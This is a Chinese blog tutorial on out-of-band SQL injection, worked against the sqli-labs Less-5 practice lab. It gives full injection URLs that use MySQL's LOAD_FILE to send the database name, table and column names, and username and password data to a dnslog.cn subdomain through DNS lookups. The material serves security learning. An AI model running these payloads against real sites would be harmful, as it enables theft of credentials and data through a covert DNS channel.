DNS注入

本文介绍了DNS解析在SQL注入中的应用,通过LOAD_FILE函数发送DNS请求,在无回显情况下获取数据库信息。讲解了如何利用MySQL的LOAD_FILE函数读取文件并结合DNS日志进行盲注,包括查询数据库名、表名、列名及数据,同时也提到了文件读取的限制条件和注意事项。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.我们首先要知道什么是DNS:
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。(摘自百度百科)
在这里插入图片描述
2.要开启sql中的服务:
在配置文件my.ini中
如果secure_file_priv不为空,改为空
如果不存在,加上去并保存,然后重启MySQL服务即可

在这里插入图片描述
3.我们可以访问http://www.dnslog.cn/去自己生成一个域名:在这里插入图片描述
我们试着自己去访问http://smile.hravfz.dnslog.cn时:在这里插入图片描述
会在日志上留下访问的记录。

4下面介绍load_file()函数:
关于mysql load_file()函数:
在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
LOAD_FILE(file_name)
其中file_name是文件的完整路径。
这个函数也可以用来发送dns解析请求,这就是关键
load_file()使用限制:
1.文件必须位于服务器主机上。
2.你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的。
3.文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节。

5。Sqlilab-05s:dns用来获取盲注的结果:
此题目没有回显的信息,为盲注,若是进行手动会耗费大量的时间,可以通过load_file()发送DNS请求去在DNS上留下日志

在这里插入图片描述
构造playloads:
• 查询数据库的版本:

127.0.0.1/sqli-labs-master/Less-5/?id=-1’ union select load_file(concat(‘\\’,(select database()),‘.ahgpow.dnslog.cn\123’)) ,2,3 --+

在这里插入图片描述
数据库为security;
• 然后去查表:

127.0.0.1/sqli-labs-master/Less-5/?id=-1’ union select load_file(concat(‘\\’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),‘.tdwu21.dnslog.cn\123’)) ,2,3 --+

然而并没有反应,因为域名长度太长,不能超过63位

127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat(“\\”,(select group_concat(table_name SEPARATOR’-') from information_schema.tables where table_schema=‘security’ ),“.tdwu21.dnslog.cn\xxx.txt”)) --+

在这里插入图片描述
• 查列:

127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat(“\\”,(select group_concat(column_name SEPARATOR’-') from information_schema.columns where table_schema=‘security’ and table_name=‘users’),“.
tdwu21.dnslog.cn\xxx.txt”)) --+

在这里插入图片描述
• 查数据:

127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat(“\\”,(select group_concat(username,password) from security.users),“.
tdwu21.dnslog.cn\xxx.txt”)) --+

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值